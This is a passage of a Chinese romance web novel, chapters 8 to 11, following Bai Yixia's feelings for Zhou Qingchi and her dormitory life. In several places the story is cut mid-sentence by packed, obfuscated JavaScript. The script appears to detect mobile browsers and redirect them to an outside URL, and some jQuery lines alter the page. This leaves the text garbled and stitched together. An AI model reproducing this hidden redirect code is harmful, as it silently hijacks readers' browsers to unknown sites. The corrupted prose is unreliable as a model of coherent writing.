d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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周清池愣愣地接过盘子,往嘴里塞了一勺,抹茶微苦,但红豆却是甜甜的。他抬眼看向柏以夏,弯着眼睛笑道:“很好吃,谢谢小夏。” 柏以夏看他高兴自己也高兴,只是往厨房看了一眼后颇为遗憾地叹了一口气,“可惜这个天气你没办法带走,肯定会坏的。” 一扭头,周清池别扭地端着盘子,倔强地用一只手给提拉米苏拍了一张照片,柏以夏疑道:“你在干吗?” 话音刚落,兜里的手机就振动了一下,柏以夏掏出手机一看,周清池把蛋糕发他们三人群里了。 -请吃粥:【图片】 -请吃粥:[黄豆摆手.jpg]好吃 柏以夏一晒,转念一想,不对! 果然,下一秒聂嘉沅就在群里刷了一连串表情包,全在控诉他们俩吃独食。 柏以夏急忙在群里安抚聂嘉沅,带着些气抬眸瞪了一眼周清池,却见他已经吃得差不多了,正叼着勺子,对上她的目光后,臭屁地挑了下眉。 柏以夏没气了,各种意义上的。 她叹了一口气,看了看时间,顿时觉得自己眼皮开始打架,“不行不行我要睡觉了。”她半拉着门,冲周清池小幅度地挥挥手,“晚安啦,清池哥。” “晚安。” 门在眼前合上,周清池没着急回家,在门口站在,勺子将粘在盘子上的奶油搅得乱七八糟。 他想叹气,但那一口气刚刚提起就被再一次打开的大门抵住了,柏以夏还是那样探出脑袋,笑眼弯弯地说道:“明天也不会睡过头的,保证把你准时送到高铁站。” 又瞄到盘子,伸出一直手来,“给我吧,明天早上再起来洗了。” 周清池手微微让开,“没事,我来洗。” 柏以夏也不和他扭捏,“好噢。晚安。” 周清池这一次没再逗留,揣着个空盘子回了家。 8. 第八章 蒜蓉排骨 柏以夏说到做到,第二天确实没睡过头,但坐在桌前吃午饭的时候筷子几次都插到了桌子上。 每天六点就起的周清衍实在看不过去,放下碗筷握着柏以夏的肩就开始摇晃,“醒醒啊夏夏姐!马上就要团战了!你已经只剩血皮了!” 然而柏以夏已经困到没有思考他说这话的能力了,焉耷耷地哼哼了两声后靠在椅背上放空大脑。 周清池坐在两人对面,看着她疲倦的样子,不禁发问:“小夏你昨晚睡得很晚吗?” 柏以夏勉强地瞟了他一眼,然后点点头,声音像是从嗓子眼里挤出来的,“昨天要打算睡的时候才想起来忘记给周五那两个客妹返图了。” 天知道她打开社媒软件收到那两条带着可怜兮兮表情包的询问消息时脑子里同时炸了几个闹钟。 恶魔在她耳边低语:柏以夏~你没返图。 直接把柏以夏的瞌睡吓醒了,然后坐在电脑跟前血战三小时才终于完成了。但柏以夏往常十一点半左右就睡了,这晚上真是熬夜了,时间跳到三点整的时候她毫无睡意,闭着眼睛挣-扎了半个小时之后柏以夏放弃了入眠,直接把夜熬穿了。 早上六点过才迷迷糊糊地睡着了。 沾枕头就着的周清衍理解不了,飞快刨完自己的饭之后就滚回房间写作业去了。 周清池有些无奈地看了柏以夏好几眼,见她实在提不起精神,便道:“多少再吃一点,一会儿再去睡。” 柏以夏闻言噔得坐直了,眼睛睁大了点,“相信我,一会儿我就精神了,肯定能完完整整把你送到高铁站。”她捡了几口菜送到嘴里,含糊道,“对了,小周哥几点的车?” “四点。”和柏以夏争辩事情周清池从来都没有赢过,索性就不和她争了。 “噢,那还有时间。”柏以夏眯着眼睛笑道。 午饭是周清池做的,满桌子都是柏以夏爱吃的菜,她渐渐地被美食馋走了困意,有一搭没一搭地和周清池聊起来。 饭后柏以夏也懒得回自己家,像个跟屁虫似地在周清池身后转悠,一会儿帮他清洗餐具,一会儿打开冰箱揪几颗青提嚼着。 等周清池洗完碗后,她笑嘻嘻地往他身边一凑,“小周哥下次什么时候回来啊?” 周清池垂眸想了想,“下次大概就是国庆假期了。” 柏以夏早有预料,但难免觉得有些失落,不过转念一想这都已经九月中旬,再过个十几天还能和周清池相处七八天。 她心中一喜,没好意思表露得太明显,于是绕着圈地问道:“那你国庆有什么安排吗?” 周清池哪能看不出她在高兴,把洗好的水果往她手边一丢,皱起眉头假意回想,“我想想啊,好像是有点安排。” 柏以夏:“!!” 她不动声色地咽了一口口水,平静地问道:“做什么呀?” “是呀,做什么呀小夏老师?”周清池不逗她了,见她一副惊讶的表情,道,“不是你开学之前让我把国庆的时间空出来,说要带我玩吗?” 那会儿其实只是随口一说,柏以夏没想到周清池真的会在心中留意,她思绪又忍不住飘远了,感觉“我喜欢你”这四个字都要擅作主张地从嘴里冒出去了。 她眼神一下子就亮了起来,“那就这样说好了,到时候我去接你和嘉嘉,我们一起去玩!” 周清池的表情不自然了一瞬,“聂嘉沅也去?” 柏以夏点点头,“嗯嗯,嘉嘉拍照好看,我到时候要和好多老师集邮。” “要去漫展?”周清池道。 “对,我们好久都没一起去玩了。”柏以夏扯了一下周清池的衣摆,眨眨眼睛,“放心好了,也有给清池哥的特-供假期计划,包君满意!” 周清池又想起昨天晚上的提拉米苏,“又是特-供?这么多特-供我要花多少钱?” 柏以夏摇摇头,“不需要你花钱,只要陪我逛逛漫展就好。” 周清池一手按在自己胸口,面露被胁迫的表情,“哇,小夏老师好霸道啊。” 柏以夏扬起脑袋,“没办法,柏以夏就是这样的咯。” 说完,两人相视一笑。 敞着门本来打算加入哥哥姐姐聊天的周清衍脸上表情空白,嫌弃地摇着头将房门关上了。 - 柏以夏和周清池都不是磨蹭的性格,高铁站离小区两小时的路程,刚过一点两人就打算出发了。周清池晃进弟弟的房间和他说话,柏以夏转着车钥匙溜达进厨房,本来想再讨点水果吃,却一进厨房就愣住了。 料理台上放着昨天她给周清池的那个小盘子,早就清洗干净了,上面拿哈密瓜打底,切出三角形的形状一层一层的叠起来,顶上是切成两半的青提——看得出来周清池想要好好给它做个造型,但失败了,只能用牙签串在上面,堆出一个圆滚滚的青提小雪人。 柏以夏愣了下才去够盘子,身后传来一道轻咳声,她转身看去,周清池倚靠在门边,脸上表情有些不自然,“材料有限,只能做出这样的回礼了。” 可昨晚那个本来就是给你的谢礼。柏以夏抿着唇,还是没将这句话说出口,只端着盘子往自己家走,边走边说道:“小周做得简直是艺术品,我要拿回家框起来做纪念。” 周清池好笑地扯住她的衣服飘带,“你放在家里是要等它变成林姨那一堆花草的养料吗?” 他把人扯到自己面前,指了指盘子,“现在就吃,吃了咱们就出发了。” 柏以夏想了想,觉得确实不太可能,于是拿着小叉子慢吞吞地戳起一颗青提,却是往周清池嘴边送,大方道:“大厨先吃。” 周清池顿了一下,似乎是想拒绝,但是看着柏以夏盛满期待的眼神,他还是俯身将青提衔进嘴里,舌头一转藏在颊边,含糊道:“快吃。” 他这个样子看起来有些可爱,柏以夏手痒痒地想掏手机出来拍照,但苦于两手无空,只得作罢。 她咔嚓咔嚓地嚼着哈密瓜片,突然有些好奇水果边角料去哪了。还没等她问出口,周清衍推开房门走了出来,手里端了个白瓷盘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138953|180390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,里面七零八落地放着些奇形怪状的哈密瓜。 噢,破案了。 周清衍看着他俩,插起一块哈密瓜恶狠狠地咬进口中。 柏以夏和周清池对视一眼,她飞快地给周清池塞进最后一块瓜,将盘子往茶几上一放就拽着周清池的衣领蹭蹭蹭走出门。 没过几秒,她又探进半边身子,笑嘻嘻地对周清衍说:“小衍帮姐姐洗下盘子,等晚上回来给你分小蛋糕吃!” 门外周清池喊道:“小夏,电梯来了。” 柏以夏便也不管周清衍的回复了,急匆匆地关上了门。 由于柏以夏是新手驾驶员,周清池不准她开车的时候和自己闲聊,两人安静地坐在车内,只有音响慢慢地唱着。 柏以夏什么时候这么老实地闭嘴过,她一路上都想吧嗒吧嗒说话,但目光和精神又不敢脱离道路,只能一边觉得抓心挠肺,一边安稳开车。 到了高铁站,却是只能送到门口,她眼巴巴地看着周清池下车,留意了一瞬后眼睛就又落到后视镜上观察后车的动向,见那辆车上也有人下车,她才降下副驾驶的车窗,探身过去,委屈地说道:“就只能送到这里啦。” 周清池回来什么东西都没带,一身轻地站在车外,闻言竟然笑了起来,“很快就可以再见的。” 柏以夏焉巴巴的,大声嚷嚷道:“早知道和你报一个学校了!” 周清池一愣,眼里也流露出几许遗憾。 柏以夏还想再说什么,后车却已经启动,着急地按了几声喇叭,她只好把话吞下去,最好交代道:“小周哥,你到了学校要给我发消息噢!” “好。” 再停留怕是要遭骂了,柏以夏发动车子往前开,最后看过去的一眼只瞧见了周清池利落转身离开的背影。 她忽然感觉有些委屈,好像只有自己一个人很舍不得一样。 这么想着,她一路上都没什么精神,兢兢业业地将车开进车库里,进电梯时才打开手机看见周清池给她发的消息。 时间是两个小时以前,让她开车注意安全,说自己国庆前一天课只上到上午,下午就能和她一起“接驾”聂嘉沅。 柏以夏一下子又开心起来,站在电梯里把这句话反反复复看了好几遍。 直到又有一个人进了电梯她才意识到自己没有按楼层。 但柏以夏心情好得很,被那人用怪异的眼神看了一眼也无所谓,反倒是回给人家一个灿烂的笑容。 那是个十七八岁的少年,被她笑得一愣,脸上飞起一道绯-红,顿时扭捏着想要搭话。 但柏以夏根本没有注意到他,哒哒哒地按着手机按键,把躺在她和聂嘉沅对话框里那句“我感觉他一点都不喜欢我”删掉,郑重其事地敲下“他一定会喜欢我的”。 这条消息发出去后迅速得到聂嘉沅返回的六个点,但柏以夏毫不在意,连发三条,获得了聂嘉沅的另外十二个点和一句: -再加一沅:对对对,他超喜欢你!!![爱心][爱心][爱心] 9. 第九章 葡萄芋圆冰 周一课不多,柏以夏下了课没着急回寝室,去图书馆转了一圈,发现一个座位都没找到后遗憾而归。 一个周末过去,她们寝室的氛围稍微有些不一样了。 最大的变化就是卢茜不再游离在她们三人的聊天之外,偶尔即便是听不懂在聊什么也会添点话进去。柏以夏不清楚周六那天卢茜回寝室之后发生了什么事情,但她乐衷于看到这样的变化。 这样就不用考虑搬到外面去住了!柏以夏在心里乐道。 卢茜最先注意到她杵在门口不动,扭过身子朝她招招手,“夏夏,怎么不进来,外面不热吗?” 闷头给卢茜安利游戏和动漫的白易安和陈宛宜倏地抬头,惊讶地对视一眼后,齐刷刷地看向柏以夏,眼神示意卢茜。 柏以夏趁着卢茜转头的空子,得意洋洋地朝她们晃了晃脑袋,比了个口型,“本人MVP!” 白易安和陈宛宜闭眼猛吹,四只手举过头顶给她竖大拇指。 卢茜迷茫地看着她们的行为,“这是在做什么呢?” 白易安贫嘴道:“庆祝夏夏第十四次从图书馆铩羽而归。” 卢茜不懂这有什么可庆祝的,但看柏以夏并没有生气的样子,也放心地笑了起来,看了看时间,道:“这个时间去图书馆很难找到位置了,夏夏想去的话下次我替你占个座。” 柏以夏点点头,先谢过了她,又道:“没事,我也就是去碰碰运气,对图书馆没有执念,随便找间自习教室就行。” “对了,倒是你,今天不去兼职吗?都这个时间了。” 陈宛宜还担心这句话让卢茜不自在,但她完全没有在意,只腼腆地笑起来,“以后都不去了,我另找了家教的兼职,只上周五和周末。” 柏以夏欢呼一声,“那太好了,早就觉得你好累,这下终于可以享受享受别样的大学生活了。” 卢茜点点头,犹豫了一会儿才道:“你们今天晚上有课吗?我想请大家吃个饭,就是可能不会特别贵——” 她话还没说完,白易安和陈宛宜一个去换衣服,一个去梳头发,没过两分钟就收拾齐整,推着卢茜准备出门,还嚷嚷道:“什么请客啊,大学生哪有请客的,咱们AA。” “走走走,早就饿了。” 卢茜罕见地有些无措,她回头去看柏以夏,却见她把自己的东西一丢,搓着手跟着她们身后,说道:“太好了,终于又可以吃顿好的了。” 话音刚落,便收获到另外两个室友“仇视”的目光,似乎是在谴责她一个几乎每周回家的本市人是怎么把这句话说出口的。 柏以夏毫不在意,从她们手中挽过卢茜,亲亲热热地往外走。 刚出了宿舍楼,她的电话就响起来了,她对卢茜歉意一笑,拿着手机走到一边,在视频自动挂断前匆忙接了下来。 不等对面那人开口,她便兴冲冲地喊道:“小周哥!” 周清池半个头都躲到了镜头外,他今天带了一副防蓝光眼镜,平常的温柔被弱化了,显得有些冷淡。但一见到柏以夏,他便笑了起来,又变成了那个让她熟悉的周清池。 他转头对身旁的人小声说了些什么,柏以夏听不清楚,只能听见那边传来一阵怪异的叫声,她疑惑地又喊了一声周清池的名字,“你那边怎么了?” 周清池轻哼一声,起身走到了室外,“谁知道呢,感觉进了丧尸窝一样。”说完,他低头看着手机屏幕,朝着柏以夏笑,“小夏。” 分明只是一天没见,柏以夏就已经觉得格外想念,她道:“嗯?我在呢,怎么啦?” 周清池摇摇头,柏以夏看见他肩膀动了动,而后一只抱着蜜罐的小熊晃荡在屏幕里,她惊呼一声,“这不是那个那个——” 耳机里传来一阵笑声,柏以夏那个了半天没说出名字,气闷地闭上了嘴。但周清池向来不喜欢逗她生气,于是扯了扯自己的衣服,把胸-前的那个刺绣展示给柏以夏看。 “对,是这个小熊。” 柏以夏好哄得要命,她道:“哪里来的呀?” 周清池道:“昨天回来之后和室友去逛夜市,偶然看见的。”他端详着那个小玩偶,补充道,“一看见它我就想起了你。等国庆回来就把它给你玩。” 柏以夏被说得心头发热,恨不得穿过屏幕抱住周清池,但她却只是摇摇头,“不要给我啦。” “为什么?不喜欢吗?” 柏以夏落后室友几步路,她张了张嘴,难得觉得有些不好意思,于是托起手机凑到嘴边,很小声地说道:“让它替我陪陪你吧。” 周清池听得清楚,拿着手机的手不自觉地蜷缩了一下,又听见柏以夏自言自语道:“早知道我当时也给你缝一个娃娃。只想着嘉嘉远在他乡会想我,倒是忘了你。” 周清池脸上的笑僵了一下,声音忽地低下去,说了句:“是吗?” 柏以夏看不见他骤变的脸色,只以为他是单纯的好奇,点点头,“是啊,早知道你不介意带个小玩偶,我肯定给你。” 三两下又被哄好,周清池摸着胸口躲在屏幕后面又笑了起来。 白易安在催柏以夏走快点,她只好不舍地朝周清池挥挥手,“要去吃饭啦,晚上再见吧小周哥。” 四个人找了家口碑不错的小馆子,饿狼扑食一样点了餐。餐点很快就上来了,四个人都有些饿了,抄起筷子就开始吃。 一餐近半,白易安吃得半饱,咬着筷子看手机,突然一顿,抬眼看向柏以夏,犹豫了一下才道:“夏夏,我这里有个人想加你好友。” 陈宛宜眼里闪出八卦的光,凑到她身边往屏幕一瞧,失望地又撤了回去。 柏以夏看她动作,觉得好笑,“谁啊?有什么事吗?” 白易安道:“嗯……也不是什么大事。我不是加了动漫社吗?里面的,嗯,也算得上是朋友,听说了你很会拍照,所以想请你给他拍一拍cos。” 柏以夏算不上正经的二次元,也没有给coser拍照的经验,为难道:“我都没系统地学习过摄影,自己琢磨着玩的,还是不了吧。” 白易安点点头,打了几个字 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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两人在自习室待到了九点半才回去,柏以夏这会儿才有时间看手机消息。 他们三人的小群里,聂嘉沅为报先前被炫耀小蛋糕的仇,趁着周清池上课的点给他弹去了好几个电话,正被周清池在群里丢出截图谴责。 柏以夏看得好笑,谁也不帮,只回了一大串哈哈哈,又被两人的对骂顶了上去。 她正专心在对话框里打字,没留意眼前的路,一脚踩进一个小坑里,身体一歪,眼看就要摔倒,旁边突然伸出一只手托了一把她的手臂。 柏以夏怕疼得要命,这下有些心有余悸,不敢再走路看手机,把手机一揣打算给好心人道谢。 来人看起来和她差不多大,染了一头银发,眉梢往上飞,眼瞳颜色有些浅,映着路灯的光看起来亮得惊人。 银发有些挑人,柏以夏见过好几个高中同学染这个颜色,不能说失败了,但离时尚完成度还是有些远,但眼前这人却是让她眼前一亮。 “你没事吧?”那位同学问道。 柏以夏摇摇头,“没事没事,谢谢你,同学。” 同学轻轻笑了起来,有些不好意思地摸了下鼻尖,“既然没事的话,啵一下老师能回我的消息了吗?” 10. 第十章 玫瑰布朗尼 给自己社交媒体取昵称的时候,柏以夏对“啵一下”这个名字给予了高度的认可,因为实在是和她的本名太契合了。 在网络上主打一个谐音梗,但她没有想过这个名字会有机会被人在自己面前叫出来。比起尴尬,她更觉得有些好玩,不过想起男生说的话,柏以夏脑子有些宕机,看向青年的眼神瞬间就从欣赏变成了警惕。 男生显然是意识到了自己话语的不妥,抬手薅了一把头发,急忙解释道:“不是不是,我没有跟踪你!嗯……是这样的,我之前和朋友一起出去吃饭看到白易安了,所以猜你和她在一块儿呢。” 他说了两句后突然顿住了,眼神有一瞬间的迷茫,像是在问自己到底在说些什么东西。愣了两秒后他一手捂住脸,“抱歉,我有点没转过弯来。” 男生甩了甩脑袋,柏以夏盯着他那头银发,不知怎么的幻视起自己家楼下那只萨摩耶,她轻咳一声,“没关系,我知道你的意思。” 柏以夏正想问问他关于cos的事情,手机响了,她一低头看见是周清池的名字,手比脑子快地先点了接通。 “小夏。” 在场的两人皆是一愣,柏以夏慌张地摸了一下耳朵,确认耳机还挂在上面,又一看屏幕,周清池垂眸瞧着她,眉头微微皱起,像是在努力辨认什么,“你在哪?怎么黑乎乎的?” 完蛋,耳机没电了。 柏以夏冲着男生抱歉一笑,转过身压着声音给周清池回话,“去了自习室,刚准备回寝室呢。小周哥,我这会儿有点事,先关一会儿麦,回去之后再和你说。” 那头的周清池一时没有回话,嘴唇轻轻动了一下又合上,半晌才点了点头。 柏以夏来不及去细究他的异样,关了麦克风之后才去看男生,他背着手站在那,也没做别的事情,只偏着头看着地上的影子。 “那个……” “我叫祁望,希望的望。”男生立马道。 他好像转头的那瞬间反应太快,晃得自己脑袋有点晕,柏以夏看着他难受地轻嘶了一口气,不由得笑了起来,“好的,我叫柏以夏。” 祁望看着她连连点头,“我知道的,啵一下老——” “啊啊啊,叫我的名字就好了。”柏以夏听多了还是觉得有些脸热,赶忙打断了他的话,看了看时间,“祁望,不好意思。我还有些事,得先回去了,我们微信聊吧。” 祁望闻言愣了一下,但还是点了头,“好的好的。” 教学楼离宿舍楼有些距离,柏以夏没走多远就把麦打开了。她将手机举到面前,正想理理头发,却发现自己的那块小屏一片漆黑,周清池根本看不见她。 柏以夏只得作罢。 她又去看周清池,他或许是等得无聊,眼神已经没有落在屏幕上,而且转到屏幕外,专注地看着什么,不时地抬手在键盘上敲击几下。 或许是要用电子设备,他还没摘下那副眼镜。他们寝室的灯光有些暗,周清池自己开了一盏台灯,却被意外支出了的一截书本挡了一半的光,他侧着半张脸,落在阴影下,竟有些像是有些文爱写的腹黑反派。 柏以夏看着他这副样子,脑子里跳出来不知道多少令人心动的人设来。 像是给自己设定了程序一样,周清池心思还留在自己的事情上,眼神却慢慢挪到了手机上,但他只能看见黑乎乎的画面。 或许是以为柏以夏还没结束,他伸手点了点屏幕,眼神中多了一丝幽怨。 柏以夏看得一阵心软,不想逗他,赶忙出声喊他:“小周哥!” 周清池惊了一下,他努力地又看了看,还是没看见柏以夏,不免有些纳闷,“你到底在哪呢?刚刚好歹还能看见点轮廓,这下就是纯黑了。” “在回宿舍的路上呢,这段路没路灯,是有点黑。你再等我一会儿嘛。”柏以夏仗着周清池现在看不见自己的目光,放肆地盯着他看,从头发丝扫到能照到的胸口,在他脸上停留的时间最多。 话落,她听见周清池轻轻地叹了一口气,他抬手将散乱的书本拨回正位,这下台灯的光便从头顶直直洒了下来,他放手机的位置刁钻,只能映着他一个人和身侧的一截白墙。 可能是觉得灯光照得有些不舒服,周清池又将它挪了个位置,抬手时不小心带到了手机。 柏以夏看着镜头晃悠了几下,再清晰时只照着那面白墙,墙上落着周清池的影子。 影子动啊动,不知道怎么地就扰动了柏以夏的心,她喃喃念道:“周清池,我喜欢你。” 可是她外放着手机,声音又小得可怜,很快就散在风里。 柏以夏清楚肯定没有听见这句话,但当他重新落座时问自己刚才说了什么的时候,还是心慌了一下,“没什么,刚刚感觉又小虫子飞到我眼睛里了。” 周清池沉默了两秒,“小虫子喜光。你把手机关了吧,反正黑得也照不出来什么东西。” 柏以夏努努嘴:你看不见我,我能看见你呢。 她胡乱地嗯嗯两声,也没动作起来。 又走了几步后眼前亮了一些,快到宿舍楼了,柏以夏道:“小周哥,我耳机没有电啦。只能在楼下和你聊一会儿,但是楼下的灯也没有很亮,你看不见我噢。” 说完她看见周清池又盯着屏幕不发一言,等了几秒后还是样子,柏以夏以为是网卡了,试探地又喊了一声:“小周哥?” 周清池动了,他抬手摘下眼镜,遮了下脸,声音透着些沉闷:“算了,外面好多蚊子,而且很热,你还是快点回去吧。” 柏以夏自然是舍不得的,但不想让周清池觉得自己有点怪,于是哼哼着应了声好。 眼见里宿舍楼越来越近,柏以夏问道:“你今天给我打了两个电话呢,是不是想我啦?” 这话要随便放在两个异性之间,自带暧昧。 但放在他们俩之间,也有不熟悉他们关系的人才会误会。柏以夏丧丧地想,自己要是开始追周清池,这就是赤-裸裸地表白了! 那边的周清池果然如她所想的没什么反应,柏以夏更气闷了,她嘟囔道:“小周哥?你还在吗?” 周清池轻哼一声,慢悠悠地回了一句,“我们小夏,晚上回的到底是宿舍还是池塘呀?” 柏以夏听得一头雾水,“昂?” 周清池抬眸甩给她一个眼神,“不然怎么记性这么不好?像鱼一样。”见她还是一副懵然的表情,周清池也不逗她了,“下午不是和我说了晚上见吗?” 柏以夏这才想起来,于是朝着周清池卖乖一笑,“嘿嘿。” 镜头那边的周清池被她逗笑了,无奈地摇摇头,“不闹你了。给你打电话是想告诉你,买了你之前说喜欢的那个拼图,但是电话填成我的了,得给你送取件码。” 柏以夏顿住脚步,惊喜道:“那个缤纷色彩主题的拼图?1000片那个?” “对。” 柏以夏一时之间不知道该说什么了,自己当时只是在群里提了一下,后面瞬间就和聂嘉沅刷了几十条消息上去,连自己都差点忘记了。 但周清池记得。 他好像从小就是这样,不管自己说过什么,总是记得清清楚楚,然后在过后的时间里,突然给她一个惊喜。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138955|180390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “这样我怎么会不喜欢你呢。”柏以夏低声自语。 “小夏?” 柏以夏应道:“在呢。”她觉得自己要是再多和周清池说几句话,没准真的能直接把喜欢他秃噜出去。 她既觉得草率,又隐隐有些期待。 然而周清池直接帮她解决了这个问题,他什么都不知道,在屏幕那头笑得温柔,“你慢慢拼,拼不完也没关系,等假期的时候带回家,我们一起拼。” 不知道什么时候他又关了那盏台灯,寝室的灯光柔和,衬得他更温和,“现在快回去吧。” - 回到寝室的时候室友都已经窝上-床了,白易安和陈宛宜悄默声地打游戏,卢茜比她晚一点走却先一步回了寝室,正伏案学习。 听见开门的声音,卢茜抬起头朝她看过去,纳闷道:“你不是比我先走一会儿吗?怎么才回来?” 柏以夏走到自己桌前,边给耳机充上电,边回答道:“碰上了个…朋友?聊了几句。” 白易安见她们俩在说话,便摘了耳机,加入了对话,嬉笑道:“我知道我知道,是不是qi——诶,等下!”她拿着手机翻了一下消息,疑问道,“夏夏,你还没加祁望好友吗?他让我问问你有没有回来,担心你出什么事了。” 柏以夏失笑:“在学校里能出什么事情。”她看了看消息,有些抱歉地回了祁望的消息,“我路上在和朋友聊天,没看消息呢。” “行呢,我先回他消息。”白易安很快就给祁望发过去几句解释,而后她又把脑袋探出床帘,“怎么样呀夏夏,他是不是还可以?” 陈宛宜也冒出一句:“是嘞,我之前刷校园墙的时候还看见有人在捞他。” 两个人立马换了话题,开始说起校园墙上的八卦。对于她们说的这些,柏以夏只是笑了笑,没去多答,倒是卢茜看了她一眼,然后两人心照不宣地笑了起来。 想到祁望要cos的角色,柏以夏也是有些兴奋,她有段时间没玩那款游戏了,于是找了些网上的视频看了看。她脑子转得快,没一会儿就有了些构思,抓过平板就开始涂涂画画。 “叮”。 手机响了一声,柏以夏本来还沉浸在自己的创作当中,只飘过去一道眼神,但看见熟悉的头像后,她瞬间把笔一丢。 -请吃粥:[图片] -请吃粥:不早睡觉的人都会变成这样[阴险.jpg] 周清池发来的图是玉米须被拔得所剩无几的玉米,玉米上被P了一个委屈茫然的表情,看起来又可怜又好笑。 柏以夏撑着下巴闷闷地笑了几声,也懒得去拿手机,只伸出一个指头在键盘上戳戳点点。 -啵一下:这是在做什么? -啵一下:这是赤-果果的威胁! 周清池也许就是在蹲她的消息,很快就回了一句过来。 -请吃粥:对,不是赤-果果吗? 柏以夏一开始没明白他在说什么,直到思考的时候目光又不自觉地落到那张玉米图上,才明白他在说那个玉米,于是又没绷住地笑了出来,这次声音有些大,吸引了几个室友的注意。 柏以夏飞快地给周清池回了“晚安”,面对室友递过来的询问眼神时顿了顿,道:“突然好想吃玉米。” 三人不明所以,白易安躺了回去,“多大点事,明天早上给你带。” 她是325唯一一位会雷打不动去吃早餐的人,柏以夏闻言举起手朝她挥了挥,“呜呼!谢谢小白。” 再低头看消息时,对话框里是周清池最后发来的一只睡得呼呼的小猫。 11. 第十一章 茉莉青提牛奶卷 刚开学没多久,每周的课程都不算多,课业任务也不算重。柏以夏这几天都是一下课就猫回寝室琢磨cos图,手底下已经画好了好几张简略的布景,但因为祁望的cos服和道具还没到,她就先没和他说。 等到了周四下午,祁望给她发了几张图片。 柏以夏大致看了一下,是塞里戈维的cos服和道具。从照片里都能看出质量很好,布料和裁定手艺挑不出毛病。 柏以夏两眼放光,有这么好的coser老师出我推实属大幸! 于是迅速回了他消息。 -啵一下:看着质量好好噢。 -祁望:是,很早之前就订了,今天才到。 -祁望:道具也是,找一位老师定制的。 听他这么说,柏以夏又点开大图仔细看了看,滑-动图片的时候使多了劲,直接划到边角去了。也是这个时候柏以夏才发现祁望没住在学校里,不过一想到他看起来就是cos老手,估计服装和道具多得和小山一样,寝室早就放不下了。 柏以夏对他住哪倒是不太在意,只是对出去住这件事情有些心动,但现在寝室关系好起来了,搬出去住除了给自己增添一点早八起得更早的烦恼之外,也没什么特别好的。 想了想柏以夏还是把对话框里的那段住房询问删了,但祁望那头却又发了消息过来。 -祁望:是觉得服装和道具有什么不好的地方吗? -祁望:我看你输入了好久。 这人怎么和她一样喜欢蹲别人的回复。柏以夏难得无言,出于对角色的喜欢,又仔仔细细地把细节看了一遍,确认没什么毛病之后才回复道:“没什么问题,刚刚又看了看细节,感觉质感真的超级棒!” 但话一发出去,柏以夏才后知后觉地发现有些毛病,自己只是拍照的摄影师,就算有问题也轮不到她来挑,这样一弄,搞得好像祁望是她约的cos委托一样。 她输了几个字刚想找补,却见祁望迅速地回了一个萨摩耶傻笑的表情包。 -祁望:太好了,你觉得没问题就好。 -啵一下:我没什么关系啦。 -啵一下:而且要是有瑕疵我到时候可以给你后期操作[强大.jpg] -祁望:那可不行,得保证完美无缺,不然就是在角色厨面前丢脸了。 柏以夏愣了一下,她确定自己和祁望是最近才通过白易安认识的,而且自己喜欢塞尔戈维只有室友才知道。 “难不成是小白给他说的?”柏以夏默默嘀咕道。 在她身后的白易安茫然地抬起头,“什么?我给谁说啥?” “我推塞尔戈维,你给祁望说了呀?”柏以夏也没藏着,直接问道。 白易安摇摇头,指了指她的背包挂件,“我没说。但是夏夏,看到这个,很难猜不出来你是小塞的厨子。” 柏以夏的背包上别了好几个塞尔戈维的徽章,还挂着两三个小型的人物娃娃,对这些东西了解的人确实一眼就能看出来。 但柏以夏却有些懵然,“他没事盯着我包看什么?” 白易安表情微微有些空白,半晌拍了拍柏以夏的脑袋,“没事没事,画你的图吧。” 被她一提柏以夏才想起来自己画好的背景图,看了看时间,才下午三点过,她们晚上还有一堂课,剩下的时间都是空闲的,于是她给祁望递去信息。 -啵一下:你对到时候的布景有什么想法吗? -祁望:我暂时只想到有张官图的那个,其他的还没想好。 -啵一下:打算出几组图呀? 柏以夏垂眸看了看自己画的几张背景,心情很好地想着:要是他只打算拍一组,那这些我就自己去产粮。 柏以夏的妈妈是一位珠宝设计师,也许是继承了母亲的绘画天赋,她从小就很会画画,只是没有特别系统地学过,不过平常给自己做点饭吃也足够了。 手机叮地响了一声,柏以夏以为祁望回了消息,探过头一瞧才发现是周清池。 她眼神立马比刚才亮了好几个度,平板一放就去摸手机。 -请吃粥:[图片] -请吃粥:食堂的师傅好像觉醒了一些奇奇怪怪的做饭天赋[哭哭.jpg] 那张图片里花花绿绿的一片,柏以夏没点开大图的时候还以为是什么花墙,点进去一瞧才发现是火龙果炒西兰花。她看照片的时候正在喝水,被这奇异地画面惊得呛了几口水。 周清池的视频也正好打过来。 对于他的视频,柏以夏经常都是随打随接,一接通,半个字还没吐-出来就先止不住地咳嗽。 周清池原本神色带笑,听见她的咳嗽声眉眼立马压了下来,“小夏?你怎么了?” 柏以夏狼狈地在镜头里晃了晃手,缓了几秒后才止住咳嗽,眼角亮晶晶地积着生理性泪水,她不以为意地笑道:“没什么,被你们食堂师傅的天才想法吓到了。” 